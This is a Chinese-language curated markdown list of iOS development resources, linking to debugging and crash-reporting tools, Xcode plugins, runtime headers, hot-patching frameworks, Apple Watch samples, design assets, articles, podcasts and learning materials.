* [Bugtags-iOS](https://github.com/bugtags/Bugtags-iOS) - 一个简单、有效的bug和崩溃报告工具.
* [iOS-private-api-checker](https://github.com/NetEaseGame/iOS-private-api-checker) - iOS-private-api-checker 苹果iOS私有API检查工具.
* [gitbook](https://github.com/GitbookIO/gitbook) - GitBook 是一个基于Node.js 的命令行工具，可使用Github/Git 和Markdown 来制作精美的电子书。 GitBook需要使用markdown格式编写，如果你不了解可以看看这里.
* [crashlytics](https://www.fabric.io/onboard) - Twitter出的一个崩溃分析软件.
* [Knuff](https://github.com/KnuffApp/Knuff) - 调试iOS App远程推送(APNs)的工具.
* [PPAutoPackageScript](https://github.com/jkpang/PPAutoPackageScript) - Xcode8以后的iOS自动打包脚本,配置简单/方便.
* [CocoaDebugKit](https://github.com/Patrick-Kladek/CocoaDebugKit) - Debugging made easy. Automatically create QuickLook images of custom objects.
* [AssetsExtractor](https://github.com/pcjbird/AssetsExtractor) - 『Assets提取工具』是一款OSX平台上用于将Assets.car或xxx.app中打包的png图片、pdf等资源重新提取出来的开发者工具。Assets.car常见于iOS/Mac/Unity等开发中的资源打包.
* [fbretaincycledetector](https://github.com/facebook/fbretaincycledetector) - Facebook出品,通过Runtime监测循环引用.
* [FBAllocationTracker](https://github.com/facebook/FBAllocationTracker) - Facebook出品,跟踪oc对象的分配情况.
* [JxbDebugTool](https://github.com/JxbSir/JxbDebugTool) - 一个iOS调试工具，监控所有HTTP请求，自动捕获Crash分析.
* [KSCrash](https://github.com/kstenerud/KSCrash) - iOS Crash 捕获上报工具， 可以自己配置服务器， 也可以与它推荐的服务器搭配使用.
* [FBMemoryProfiler](https://github.com/facebook/FBMemoryProfiler) - iOS tool that helps with profiling iOS Memory usage.
* [kiwi-bdd](https://github.com/kiwi-bdd/Kiwi/wiki) - TDD或BDD，objective-c语言的测试框架，最流行的BDD测试框架了，Kiwi最受欢迎（根据github上的star数来推断，行为描述和期望写起来也比较易懂，至少我是这么认为的） [iOS开发中的测试框架](http://www.jianshu.com/p/7e3f197504c1#)。
* [MMPlaceHolder](https://github.com/adad184/MMPlaceHolder) - 一行代码显示UIView的位置及相关参数.
* [KMCGeigerCounter](https://github.com/kconner/KMCGeigerCounter) - KMCGeigerCounter通过复杂和简单的视图演示了类似盖革计数器的帧速计算功能。掉帧通常是可见的，但是很难区分55fps和60fps之间的不同，而KMCGeigerCounter可以让你观测到掉落5帧的情况.
* [XcodeServerSDK](https://github.com/czechboy0/XcodeServerSDK) - 非官方 Xcode Server SDK 封装库。 P.S. 该 SDK 分离自之前推荐的由该作者开发的自动测试框架.
* [Crashlytics](http://try.crashlytics.com/) - Crashlytics 崩溃报告 崩溃日志 [使用说明](http://www.infoq.com/cn/articles/crashlytics-crash-statistics-tools) 。
* [AvoidCrash](https://github.com/chenfanfang/AvoidCrash) 利用runtime处理崩溃问题的一个框架
* [iConsole](https://github.com/nicklockwood/iConsole) - 调试利器 In-app console for viewing logs and typing debug commands in iPhone apps.
* [RealmBrowser-iOS](https://github.com/TimOliver/RealmBrowser-iOS) - A native iOS debugging framework for introspecting Realm files on device.
* [iOS-Debug-Hacks](https://github.com/aozhimin/iOS-Debug-Hacks) - 项目开发过程中用到的高级调试技巧，涉及三方库动态调试、静态分析和反编译等领域.
* [iSimulator](https://github.com/wigl/iSimulator) - 模拟器控制工具，simctl的GUI实现，可以方便打开模拟器位置、App沙盒文件位置，并且可以启动、关闭模拟器.
* [Kiwi](https://github.com/kiwi-bdd/Kiwi) - 简单的BDD为iOS.
* [GTrack](https://github.com/gemr/GTrack) - Lightweight Objective-C wrapper around the Google Analytics for iOS SDK with some extra goodies.
#### Xcode工具@
* [react-native-device-info](https://github.com/rebeccahughes/react-native-device-info) react-native获取设备信息组件,支持iOS、Android.
* [XcodeCleaner](https://github.com/waylybaye/XcodeCleaner) - Cleaner for Xcode.app built with react-native-macos.
* [cartool](https://github.com/steventroughtonsmith/cartool) - 导出ipa包中Assets.car文件中的切图.
* [Import](https://github.com/markohlebar/Import) 快捷导入头文件-Xcode extension for adding imports from anywhere in the code.
* [XcodeSourceEditorExtension-Alignment](https://github.com/tid-kijyun/XcodeSourceEditorExtension-Alignment) 对齐属性声明 This Xcode source editor extension align your assignment statement.
* [Dash-iOS](https://github.com/Kapeli/Dash-iOS) Dash gives your iPad and iPhone instant offline access to 150+ API documentation sets https://kapeli.com/dash_ios
* [HYBUnicodeReadable](https://github.com/CoderJackyHuang/HYBUnicodeReadable) -解决打印日志对于Unicode编码不能正常显示中文的问题，只需要将文件导入工程，不需要引用，就能达到打印日志显示Unicode编码中文数据
* [JSONExport](https://github.com/Ahmed-Ali/JSONExport) - 一个json转模型的mac软件，ESJsonFormat-Xcode的替代产品,非常不错👍 .
* [WHC_DataModelFactory](https://github.com/netyouli/WHC_DataModelFactory) Mac上iOS开发辅助工具，快速把json/xml数据转换生成对应模型类属性，省去麻烦手动创建，提高开发效率。
* [Hyperion-iOS](https://github.com/willowtreeapps/Hyperion-iOS) - 内嵌app内部的控件尺寸测量工具.
#### 崩溃捕获@
- [plcrashreporter](https://github.com/microsoft/plcrashreporter) - Reliable, open-source crash reporting for iOS and Mac OS X .
#### Runtime@
* [iOS私有API](https://github.com/nst/iOS-Runtime-Headers) - 这个仓库可以调取苹果的所有私有方法头文件，相当强大。私有API，绿色 == public，红色 == private，蓝色 == dylib。
* [iOS10-Runtime-Headers](https://github.com/JaviSoto/iOS10-Runtime-Headers) - iOS10-Runtime-Headers.
* [dyci-main](https://github.com/DyCI/dyci-main) - Dynamic Code Injection Tool for Objective-C.
* [RuntimeDemo](https://github.com/cimain/RuntimeDemo)
#### Xcode插件@
* [injectionforxcode](https://github.com/johnno1962/injectionforxcode) - Injection for Xcode：成吨的提高开发效率,[使用说明](http://www.jianshu.com/p/27be46d5e5d4).
* [XVim2](https://github.com/XVimProject/XVim2) - Vim key-bindings for Xcode 9.
* [MonkeyDev](https://github.com/AloneMonkey/MonkeyDev) 原有iOSOpenDev的升级，非越狱插件开发集成神器！ CaptainHook Tweak、Logos Tweak and Command-line Tool、Patch iOS Apps, Without Jailbreak.
* [xTextHandler](https://github.com/cyanzhong/xTextHandler) Xcode源码编辑扩展工具(Xcode8版) Xcode Source Editor Extension Tools (Xcode 8 Plugins)
* [首先学习使用Xcode](http://www.cocoachina.com/special/xcode/) - 学习使用Xcode构建出色的应用程序！在Xcode启动的时候，Xcode将会寻找位于~/Library/Application Support/Developer/Shared/Xcode/Plug-ins文件夹中的后缀名为.xcplugin的bundle作为插件进行加载（运行其中的可执行文件）。
* [RPAXU](https://github.com/cikelengfeng/RPAXU) 每当 Xcode 升级之后，都会导致原有的 Xcode 插件不能使用，这是因为每个插件的 Info.plist 中记录了该插件兼容的 Xcode 版本的DVTPlugInCompatibilityUUID，而每个版本的 Xcode 的 DVTPlugInCompatibilityUUID 都是不同的。如果想让原来的插件继续工作，我们就得将新版 Xcode 的 DVTPlugInCompatibilityUUID 加入到每一个插件的 Info 文件中，手动添加的话比较费时间还可能出错，所以作者写了一个脚本来做这件事。
* [Alcatraz](https://github.com/alcatraz/Alcatraz) -使用Alcatraz来管理Xcode插件
* [Polychromatic](https://github.com/kolinkrewinkel/Polychromatic) 为不同的变量类型赋予不同的颜色
* [ClangFormat-Xcode](https://github.com/travisjeffery/ClangFormat-Xcode) clang-format 代码格式化
* [BBUncrustifyPlugin-Xcode](https://github.com/benoitsan/BBUncrustifyPlugin-Xcode) 代码格式化
* [HOStringSense-for-Xcode](https://github.com/holtwick/HOStringSense-for-Xcode)有图，点进去一看就明白了，代码编辑器里的字符串编辑器，粘贴大段 HTML 字符串之类的很方便，自动转义。
* [ZLGotoSandboxPlugin](https://github.com/MakeZL/ZLGotoSandboxPlugin) - 支持Xcode快捷键了跳转当前应用沙盒了！快捷键是 Shift+Common+w。
* [cocoapods-xcode-plugin](https://github.com/kattrali/cocoapods-xcode-plugin) - 该CocoaPods的插件增加了一个CocoaPods菜单到Xcode的产品菜单。如果你不喜欢命令行，那么你一定会喜欢这个插件。
* [Carthage](https://github.com/Carthage/Carthage)Carthage是一个新的第三方库管理工具，它轻耦合，使用很灵活，不会修改项目文件，使用xcodebuild工具来编译第三方库。跟cocoaPod有些类似。
* [KSImageNamed](https://github.com/ksuther/KSImageNamed-Xcode) - 自动完成，特别是如果你正在写Objective-C，如果Xcode能自动完成文件名难道不会很伟大吗？比如图像文件的名称。
* [KFCocoaPodsPlugin](https://github.com/ricobeck/KFCocoaPodsPlugin) Xcode插件 cocoapod, 方便编辑Podfile，显示构建日志
* [XCActionBar](https://github.com/pdcgomes/XCActionBar) 是一个用于 Xcoded 的通用生产工具。
* [XcodeBoost](https://github.com/fortinmike/XcodeBoost) XcodeBoost 是一款可以让开发者轻而易举地检查和修改 Objective-C 代码的插件。XcodeBoost 能够自动进行一些繁琐的操作，比如方法的定义与声明、添加基于命令行的代码处理（剪切/复制/粘贴/重复/删除行）、持续高亮等。
* [SCXcodeSwitchExpander](https://github.com/stefanceriu/SCXcodeSwitchExpander)在写switch时，自动补全所有选项 (只支持NS_ENUM)
* [ColorSense-for-Xcode](https://github.com/omz/ColorSense-for-Xcode)ColorSense是一款Xcode颜色插件，可让UIColor和NSColor更加可视化。虽然已经有很多工具允许你从取色板插入UIColor/NSColor或者从屏幕上取色，但这些工具并不会记忆你此前你的常用选择。不过ColorSense可以解决这个问题，把插入符放在代码上即可展示实际颜色，并可以使用标准的Mac OS X颜色选择器进行调整。此外，该插件还在编辑菜单上添加了可插入颜色或者暂时禁用颜色高亮的项目，这些菜单项目没有默认的快捷键，但是你可以通过系统的键盘设置偏好进行设置。
* [tween-o-matic](https://github.com/simonwhitaker/tween-o-matic) 编辑CAMediaTimingFunction动画曲线
* [iOS-Universal-Framework] (https://github.com/kstenerud/iOS-Universal-Framework) iOS-Universal-Framework 是一个方便你将第三方 SDK 编译成 Framework 的开源工具。
* [iOS-Framework](https://github.com/jverkoey/iOS-Framework) 编译iOS的Framework的通用模板
[Xcode-Plugin-Template ](https://github.com/kattrali/Xcode-Plugin-Template） 插件开发
[XcodeEditor](https://github.com/appsquickly/XcodeEditor) 解析和操作Xcode工程文件
* [fui](https://github.com/dblock/fui) Fui 可以用来查找 Xcode 项目中无用的 import 并予以删除
* [SCStringsUtility](https://github.com/stefanceriu/SCStringsUtility) 让你在一个清爽的界面编辑不同的语言，简单地输入/输出NSLocalizedString数据。
* [Lin](https://github.com/questbeat/Lin) 一个开源的Mac基础工具，可以让你在一个清爽的界面编辑不同的语言，简单地输入/输出NSLocalizedString数据。提供了一个非常不错的操作界面，并且为不同的语言提供了不同的区域。
* [Transformifier](https://github.com/erwinmaza/Transformifier) Transformifier是一款通用的交互式的3D转换调整工具，用于iOS开发。开发者可以通过它以可视化的方式变换各维度上的值，还可以把使用CATransform3D输出的代码导入自己的app中.
* [iconizer](https://github.com/raphaelhanneken/iconizer) - Create Xcode asset catalogs swift and painless. Generate images for macOS and iOS app icons, launch images and image sets.
* [UIEffectDesignerView](https://github.com/icanzilb/UIEffectDesignerView) - iOS和OSX原生粒子系统效果图搭载QuartzCore
* [Xcode5 Plugins 开发简介](http://studentdeng.github.io/blog/2014/02/21/xcode-plugin-fun/) [写个自己的Xcode4插件](http://joeyio.com/ios/2013/07/25/write_xcode4_plugin_of_your_own/)
* [RTImageAssets](https://github.com/rickytan/RTImageAssets) - 一个 Xcode 插件，用来生成 @3x 的图片资源对应的 @2x 和 @1x 版本。[Asset Catalog Creator](https://itunes.apple.com/app/asset-catalog-creator-free/id866571115?mt=12) 功能强大，能自动生成全部尺寸：包括App Icons、Image Sets、Launch Screens Generator。
* [VVDocumenter-Xcode](https://github.com/onevcat/VVDocumenter-Xcode) - 一个Xcode插件，build后，随手打开一个你之前的项目，然后在任意一个方法上面连按三下"/"键盘，就ok了。
* [java2Objective-c](https://github.com/google/j2objc) - Google公司出得java转Obje-C转换工具，转换逻辑，不转换UI。
* [RegX](https://github.com/kzaher/RegX) - 专治代码强迫症的 Xcode 插件，使用 Swift 和 Objective-C 编写。其用竖向对齐特定源代码的元素，使得代码更易读和易理解。[说明](http://www.cocoachina.com/ios/20141224/10743.html) ； 菜单：xcode——》Edit-》Regx 。
* [CodePilot](https://github.com/macoscope/CodePilot) Code Pilot是一款在项目中快速方便地查找文件、方法和符号，Xcode 5的扩充开源插件，开发者无需鼠标进行操作。
* [XVim](https://github.com/XVimProject/XVim) 支持绑定VIM快捷键
* [CATweaker](https://github.com/keefo/CATweaker) CATweaker – 一个用于创建漂亮的CAMediaTimingFunction 曲线的插件. XcodeWay – 便捷地导航到多个地方
* [FuzzyAutocomplete](https://github.com/FuzzyAutocomplete/FuzzyAutocompletePlugin) - Xcode的实现自动完成还不完美，此插件能给出你所期望或想要的建议，设置：xcode-》Editor-》FuzzyAutocomplete-》plugin settings。
* [GitDiff](https://github.com/johnno1962/GitDiff) - Xcode的代码编辑器的一个微妙的补强，加上了足够的可见信息以了解上次git提交以来发生了什么变化，设置：xcode-》Edit-》GitDiff.
* [XToDo](https://github.com/trawor/XToDo) - 这个插件不仅凸显TODO，FIXME，???，以及！！！注释，也在便利列表呈现他们。 菜单：xcode-》view-》snippets; 调出列表显示: xcode-》view-》ToDo List ： ctrl + T .
* [Backlight](https://github.com/limejelly/Backlight-for-XCode) - 突出显示当前正在编辑的行。菜单：xcode-》view-》Backlight.
* [Peckham](https://github.com/markohlebar/Peckham) - 添加import语句比较麻烦，此插件 按Command-Control-P，给出的选项列表中选择要的头文件。先要安装.
* [Auto-Importer](https://github.com/citrusbyte/Auto-Importer-for-Xcode) - Auto-Importer是一个自动导入类对应的头文件的Xcode插件.
* [KSHObjcUML](https://github.com/kimsungwhee/KSHObjcUML) -KSHObjcUML 是一个 Objective-C 类引用关系图的 Xcode 插件.
* [Dash-Plugin-for-Xcode](https://github.com/omz/Dash-Plugin-for-Xcode)
* [ESJsonFormat-Xcode](https://github.com/EnjoySR/ESJsonFormat-Xcode) - 将Json格式化输出为模型的属性.
* [SCXcodeMiniMap](https://github.com/stefanceriu/SCXcodeMiniMap) - Xcode迷你小地图-SCXcodeMiniMap.
* [xTransCodelation](http://code.cocoachina.com/detail/316095/xTransCodelation/) - XCODE中英文翻译插件，提供API查询模式和网页模式，都是利用的百度翻译。另外集成了一个可以一键关闭其他所有APP的实用功能，方便开发者！目前只有30多颗星。
* [jazzy](https://github.com/realm/jazzy) - 通过代码注释生成doc文档,支持ObjC/Swift,分析准确.
* [CoPilot](https://vimeo.com/128713880) - 通过此插件， Xcode 可以协同编程了（采用 WebSocket 通讯）。如此强大的“黑工具”，不爱它能行吗.
* [SuggestedColors](https://github.com/jwaitzel/SuggestedColors/) - Xcode 插件SuggestedColors，用于 IB颜色设置 辅助插件，非常好用.
* [Crayons](https://github.com/Sephiroth87/Crayons) - Xcode调色板增强插件.
* [IconMaker](https://github.com/kaphacius/IconMaker) - 只需要一步，自动生成不同尺寸的App icon。超级方便.
* [BuildTimeAnalyzer-for-Xcode](https://github.com/RobertGummesson/BuildTimeAnalyzer-for-Xcode) - 实用的编译时间分析 Xcode 插件.
* [FastStub-Xcode](https://github.com/music4kid/FastStub-Xcode) - 一只快速生成代码的Xcode插件，[说明](http://mrpeak.cn/blog/faststub/).
* [ESTranslate-Xcode](https://github.com/EnjoySR/ESTranslate-Xcode) - 一个快速翻译Xcode代码里面单词(我主要用于翻译句子～)的插件，快捷键：Ctrl+Shift+T.
* [liftoff](https://github.com/liftoffcli/liftoff) - 用于创建和配置新的Xcode项目的CLI.
* [ProvisionQL](https://github.com/ealeksandrov/ProvisionQL) - .ipa 和mobileprovision的快速外观插件.
#### 接口调试工具@
* [PostMan](https://www.getpostman.com/) - google出品的接口调试工具.
#### UI调试@
* [Reveal：分析iOS UI的利器](http://revealapp.com/)
* [Reveal-Plugin-for-XCode](https://github.com/shjborage/Reveal-Plugin-for-XCode) - 一个Reveal插件，可以使工程不作任何修改的情况下使用Reveal，该插件已在Alcatraz上架
* [Lookin iOS免费UI调试利器](https://lookin.work/)
#### AppleWatch
* [Tesla汽车AppleWatch app demo演示](https://github.com/eleks/rnd-apple-watch-tesla) - 通过AppleWatch控制特斯拉汽车，同时可以看到汽车的相关信息，比如剩余电量、可续行里程等，以及解锁/上锁车门、调节司机和乘客的四区域空调温度、开启车辆大灯、定位汽车等。[源码推荐说明](http://www.cocoachina.com/ios/20150205/11116.html)。
* [WatchKit-Apps](https://github.com/kostiakoval/WatchKit-Apps) - WatchKit 开源小项目示例集锦。是不可多得地学习 WatchKit 的示例式教程（1.如何创建一个简单的交互式计数器；2.如何从手表上控制iOS app；3.如何在WatchKit app和iOS app之间共享数据；4.如何创建一个拥有不同背景色的数字时钟；5.展示不同的UI层；6.如何创建支持滑动手势的应用程序。）。
* [ipapy](https://github.com/hades0918/ipapy) - iOS项目自动打包脚本，并且上传到fir.im，然后发送邮件给测试人员。
#### 动态更新@
* [waxPatch](https://github.com/mmin18/WaxPatch) - 大众点评的屠毅敏同学在基于[wax](https://github.com/probablycorey/wax)的基础上写了waxPatch，这个工具的主要原理是通过lua来针对objc的方法进行替换，由于lua本身是解释型语言，可以通过动态下载得到，因此具备了一定的动态部署能力。
* [JSPatch](https://github.com/bang590/JSPatch) - JSPatch 是一个开源项目(Github链接)，只需要在项目里引入极小的引擎文件，就可以使用 JavaScript 调用任何 Objective-C 的原生接口，替换任意 Objective-C 原生方法。目前主要用于下发 JS 脚本替换原生 Objective-C 代码，实时修复线上 bug。[官网](https://github.com/bang590/JSPatch)。(JSPatchX)[https://github.com/bang590/JSPatchX] JSPatch的XCode 代码补全插件。
* [CTJSBridge](https://github.com/casatwy/CTJSBridge) - JCTJSBridge：a javascript bridge for iOS app to interact with h5 web view。
#### AppleWatch@
* [Tesla汽车AppleWatch app demo演示](https://github.com/eleks/rnd-apple-watch-tesla) - 通过AppleWatch控制特斯拉汽车，同时可以看到汽车的相关信息，比如剩余电量、可续行里程等，以及解锁/上锁车门、调节司机和乘客的四区域空调温度、开启车辆大灯、定位汽车等。[源码推荐说明](http://www.cocoachina.com/ios/20150205/11116.html)。
* [WatchKit-Apps](https://github.com/kostiakoval/WatchKit-Apps) - WatchKit 开源小项目示例集锦。是不可多得地学习 WatchKit 的示例式教程（1.如何创建一个简单的交互式计数器；2.如何从手表上控制iOS app；3.如何在WatchKit app和iOS app之间共享数据；4.如何创建一个拥有不同背景色的数字时钟；5.展示不同的UI层；6.如何创建支持滑动手势的应用程序。）。
* [KYVoiceCurve](https://github.com/KittenYang/KYVoiceCurve) - 类似Apple Watch中语音的声音曲线动画。
* [IGInterfaceDataTable](https://github.com/facebookarchive/IGInterfaceDataTable) - IGInterfaceDataTable是WKInterfaceTable对象的一个类别，可以让开发者更简单地配置多维数据。该项目使用类似UITableViewDataSource的数据源模式配置Apple Watch表格，而不是将数据结构扁平化成为数组。
* [watchOS-2-Sampler](https://github.com/shu223/watchOS-2-Sampler) - 基于 watchOS 2 若干新特性，写了相应的示例代码供大家学习、参考。
* [HMWatch](https://github.com/KhaosT/HMWatch) - HMWatch是个有待完善的watchOS 2.0 HomeKit 应用示例。
* [CocoaMultipeer](https://github.com/manavgabhawala/CocoaMultipeer) - CocoaMultipeer这个开源框架支持OS X, iOS和watchOS设备间的点对点通信，解决watchOS和Mac之间通信的方案还是很有用的。
* [HighstreetWatchApp](https://github.com/GetHighstreet/HighstreetWatchApp) - 是电商平台Highstreet针对App Watch的一款应用，该demo中加载的是虚拟数据。
* [NKWatchChart](https://github.com/NilStack/NKWatchChart) - NKWatchChart是一个基于PNChart专门为Apple Watch 开发的图表库,目前支持 line, bar, pie, circle 和 radar 等 图表形式。
* [BeijingAirWatch](https://github.com/diwu/BeijingAirWatch) - 国人的开源项目代码 ！WatchOS 2.0 Complication of Real-time Air Quality for Major Chinese Cities 苹果表盘实时刷新北上广沈蓉空气质量。
#### 美工资源@
* [TWG_Retina_Icons](https://github.com/markohlebar/Peckham) - 一套支持 Retina 高清屏的 iPhone 免费图标集。
* [ASCIImage](https://github.com/cparnot/ASCIImage) - 使用 NSString 创建 image，[说明](http://cocoamine.net/blog/2015/03/20/replacing-photoshop-with-nsstring/)。
* [my-sketch-colors](https://github.com/RayPS/my-sketch-colors) - 配色。
* [Font Awesome](http://www.imooc.com/wenda/detail/250367) - Font Awesome：一套绝佳的图标字体库和CSS框架，详细的安装方法请参考[官方网站](http://fortawesome.github.io/Font-Awesome/icons/)[中文网站](http://fontawesome.dashgame.com/),[GitHub地址](https://github.com/FortAwesome/Font-Awesome) 。
* [DynamicColor](https://github.com/yannickl/DynamicColor) - 强大的颜色操作扩展类。通过该类，你可以通过扩展方法基于某个颜色得到不同深浅、饱和度、灰度、色相，以及反转后的新颜色。是不可多得的好类库。
* [FontBlaster](https://github.com/ArtSabintsev/FontBlaster) - 载入定制字体时更简单。
#### 文章@
* [自定义转场动画](http://www.jianshu.com/p/38cd35968864) - 3 种方法～ 关于自定义转场动画。
* [用 JSON 构建 API 的标准指南](http://jsonapi.org.cn/) - 用 JSON 构建 API 的标准指南。
* [iOS创建半透明ViewController](http://miketech.it/ios-transparent-viewcontroller/) - iOS创建半透明ViewController。
* [iOS蓝牙开发（四）：BabyBluetooth蓝牙库介绍](http://www.cocoachina.com/ios/20160219/15301.html) - [iOS蓝牙开发（一）蓝牙相关基础知识](http://www.cocoachina.com/ios/20150915/13454.html),[iOS蓝牙开发（二）：iOS连接外设的代码实现](http://www.cocoachina.com/ios/20160217/15294.html),[iOS蓝牙开发（三）：App作为外设被连接的实现](http://www.cocoachina.com/ios/20160218/15299.html)。
* [ImageOptim](https://imageoptim.com/) 图片保真压缩。【iOS图片压缩工具】效率最高的是[tiny-png](http://www.alfredforum.com/topic/1520-tiny-png-workflow-updated-to-v12/):在线压缩，前500张免费。
* [iOS推送之远程推送](http://ios.jobbole.com/83952/) 、[iOS推送之本地推送](http://ios.jobbole.com/83949/)。
* [动态部署方案](http://www.cocoachina.com/ios/20151019/13761.html) - iOS应用架构谈动态部署方案。
* [ReactiveCocoa 4 文档翻译目录](http://www.jianshu.com/p/fccba7be1ca1) - ReactiveCocoa 4 文档翻译目录。
* [每个Xcode开发者应该知道的七个使用技巧](http://www.cocoachina.com/ios/20160304/15558.html) - 每个Xcode开发者应该知道的七个使用技巧。
* [腾讯力作！超实用的iOS 9人机界面指南](http://blog.jobbole.com/94261/) - 腾讯力作！超实用的iOS 9人机界面指南。
* [iOS开发-超链接富文本案](http://ios.jobbole.com/84956/) - iOS开发-超链接富文本。
* [UIView+RedPoint实现底部UITabBarItem和控件的右上角显示和隐藏红点/数字的需求](https://segmentfault.com/a/1190000005112043) -
* [使用GCD实现和封装分组并发网络请求](www.jianshu.com/p/54bbacfcc31b) - 使用GCD实现和封装分组并发网络请求。
* [微信语音连播的实现思路](http://www.jianshu.com/p/1d354feacf3c) - 微信语音连播的实现思路。
* [UITableView 手势延迟导致subview无法完成两次绘制](http://www.jianshu.com/p/b422d92738ac) - UITableView 手势延迟导致subview无法完成两次绘制。
#### 其他资源@
* [githuber](http://githuber.info/#/index) - 最好用的GitHub人才搜索工具。
* [codatlas](https://www.codatlas.com) - 源代码搜索利器。
* [searchcode](https://searchcode.com/) - 源代码搜索利器：来自悉尼的代码搜索引擎汇聚了 Github, Bitbucket, Sourceforge...等多家开源站点超20万个项目、180亿行源代码，能以特殊字符、语言、仓库和源方式从90多种语言找到函数、API的真实代码。
* [kitematic](https://github.com/docker/kitematic) - Mac 上使用 Docker 最简单的方案。
#### 学习资料@
#### 播客@
* [The Ray Wenderlich Podcast](https://www.raywenderlich.com/rwpodcast)
* [Debug](http://www.imore.com/debug)
* [App Story](http://www.appstorypodcast.com)
* [Mobile Couch](http://mobilecouch.co/)
* [iOS Bytes](https://iosbytes.codeschool.com/)
* [iPhreaks](https://devchat.tv/iphreaks)
* [Under the Radar](https://www.relay.fm/radar)
* [Core Intuition](http://coreint.org/)
* [Release Notes](https://releasenotes.tv/)
* [More Than Just Code](http://mtjc.fm/)
* [Runtime](https://spec.fm/podcasts/runtime)
* [Consult](http://consultpodcast.com/)
* [Fireside Swift](https://itunes.apple.com/us/podcast/fireside-swift/id1269435221?mt=2)
#### 学习资料@
* [free-programming-books](https://github.com/EbookFoundation/free-programming-books) - 非常棒👍👍👍 经常更新的免费资源列表，包括书籍，播客，网站，开发工具等等。对于正在学习代码的人来说挺实用； Whether you're learning to code or are already an experienced programmer, this GitHub repository is an incredible resource of free programming books. ... You'll find books on professional development, specific platforms like Android and Oracle Server, and about 80 programming languages.
* [coding-interview-university](https://github.com/jwasham/coding-interview-university) 非常棒👍👍👍 A complete computer science study plan to become a software engineer.
* [Analyze](https://github.com/Draveness/Analyze) - 深入解析 iOS 开源项目.
* [articles](https://github.com/objccn/articles) - Articles for objccn.io. objc.io的完整、准确、优雅的中文翻译版本.
* [网易新闻iOS版使用的开源组件](http://m.163.com/special/newsclient/ios_libraries.html) - 网易新闻iOS版在开发过程中使用的第三方开源类库、组件.
* [iOSInterviewQuestions](https://github.com/ChenYilong/iOSInterviewQuestions) - iOS面试题集锦（附答案）.
* [iOS-InterviewQuestion-collection](https://github.com/liberalisman/iOS-InterviewQuestion-collection) - iOS 开发者在面试过程中，常见的一些面试题，建议尽量弄懂了原理，并且多实践.
* [growth-ebook](https://github.com/phodal/growth-ebook) - Growth Engineering: The Definitive Guide,全栈增长工程师指南.
* [ideabook](https://github.com/phodal/ideabook) - 一个全栈增长工程师的练手项目集. A Growth Engineering Idea in Action.
* [zen](https://github.com/100mango/zen) - iOS, Swift, Objective-C 心得.
* [objc-zen-book-cn](https://github.com/oa414/objc-zen-book-cn) - 禅与 Objective-C 编程艺术 （Zen and the Art of the Objective-C Craftsmanship 中文翻译）.
* [dev-blog](https://github.com/nixzhu/dev-blog) - 翻译、开发心得或学习笔记.
* A-[awesome-awesomeness](https://github.com/bayandin/awesome-awesomeness) - GitHub上所有Awesome Awesomeness 系列集合. 这个系列集合收集上GitHub上优秀的开源项目、框架、书籍、网站、类库等实用资源的集合.
* [iOS-Core-Animation-Advanced-Techniques](https://github.com/AttackOnDobby/iOS-Core-Animation-Advanced-Techniques) - 中文版iOS 高级动画技术.
* [iOS开发的一些奇巧淫技2](http://www.jianshu.com/p/08f194e9904c) - 用一个pan手势来代替UISwipegesture的各个方向、拉伸图片、播放GIF、上拉刷新、把tableview里cell的小对勾的颜色改变、navigationbar弄成透明的而不是带模糊的效果、改变uitextfield placeholder的颜色和位置.
* [iOS-Tips](https://github.com/awesome-tips/iOS-Tips) - iOS知识小集.
* [RemoteControl](https://github.com/johnno1962/Remote) - Control your iPhone from inside Xcode for end-to-end testing.
* [iOS](https://github.com/Lafree317/iOS) - iOS资源大全中文版.
* [MVVM 介绍](http://objccn.io/issue-13-1/) - 替换MVC的开发模式.
* [第三方接口](http://apistore.baidu.com/astore/index) - 基本所有第三方接口都在这，再也不用那么麻烦去找了.
* [提高iOS开发效率的方法和工具](http://yyny.me/ios/%E6%8F%90%E9%AB%98iOS%E5%BC%80%E5%8F%91%E6%95%88%E7%8E%87%E7%9A%84%E6%96%B9%E6%B3%95%E5%92%8C%E5%B7%A5%E5%85%B7/) - 提高iOS开发效率的方法和工具。
* [禅与 Objective-C 编程艺术](https://github.com/oa414/objc-zen-book-cn) - 禅与 Objective-C 编程艺术 （Zen and the Art of the Objective-C Craftsmanship 中文翻译）.
* [Objective-C编码规范：26个方面解决iOS开发问题](http://www.imooc.com/article/1216) - 【Objective-C编码规范：26个方面解决iOS开发问题：“我们制定Objective-C编码规范的原因是我们能够在我们的书，教程和初学者工具包的代码保持优雅和一致。”今天分享的规范来自raywenderlich.com团队成员共同完成的，希望对学习OC的朋友们有所指导和帮助.
* [demo](https://github.com/coolnameismy/demo) - 刘彦玮的技术博客中文章对应的demo.
* [awesome-growth](https://github.com/phodal/awesome-growth) - IT技能图谱.
* [ios_core_animation_advanced_techniques](https://github.com/ZsIsMe/ios_core_animation_advanced_techniques) - 核心动画学习资料 [其中的核心动画电子书](https://zsisme.gitbooks.io/ios-/content/)
* [Apple-OfficialTranslation-SourceAnnotation](https://github.com/CustomPBWaters/Apple-OfficialTranslation-SourceAnnotation) Apple官方译文框架源码注解，当你「了解权威 & 进阶原理」的时候，网搜的众多中 ~ ~（自行脑补）。一劳永逸，渐进式学习。 以简化初学者入门和老司机回顾的繁索过程，尽快切入主题，快速使用起来.
* [RuntimeBrowser](https://github.com/nst/RuntimeBrowser) This is a class browser for the Objective-C runtime on iOS and OS X.
* [iOS10AdaptationTips](https://github.com/ChenYilong/iOS10AdaptationTips) - for iOS10 in [ObjC, Swift, English, 中文] {...}.
* [blog](https://github.com/jiajunhuang/blog) - 个人博客.
* [ios-learning-materials](https://github.com/jVirus/ios-learning-materials) - Curated list of articles, web-resources, tutorials and code repositories that may help you dig a little bit deeper into iOS.
* [JHBlog](https://github.com/SunshineBrother/JHBlog) - iOS开发：我的初级到中级的晋级之路.
#### 其他开源@
* [appleOpenSource](https://opensource.apple.com/) - 苹果官方开源的源码.
* [awesome-ios](https://github.com/vsouza/awesome-ios) 一个非常棒👍👍👍 的开源库集合.
* [awesome-osx](https://github.com/iCHAIT/awesome-osx) - 一个非常棒👍👍👍的Mac OS X开源库集合。
* [open-source-ios-apps](https://github.com/dkhamsing/open-source-ios-apps) - iOS开源App集合(swift、Objective-C).
* [awesome-ios-ui](https://github.com/cjwirth/awesome-ios-ui) - 收集了不少 iOS UI/UX 库, 包含了很多酷炫的动画效果.
* [awesome-mac](https://github.com/jaywcjlove/awesome-mac) - Mac软件、开发工具、设计工具集合.
* [ios-cosmos](http://www.ios-cosmos.com/) - The iOS Cosmos：收录了iOS绝大部分的开源框架和工具.
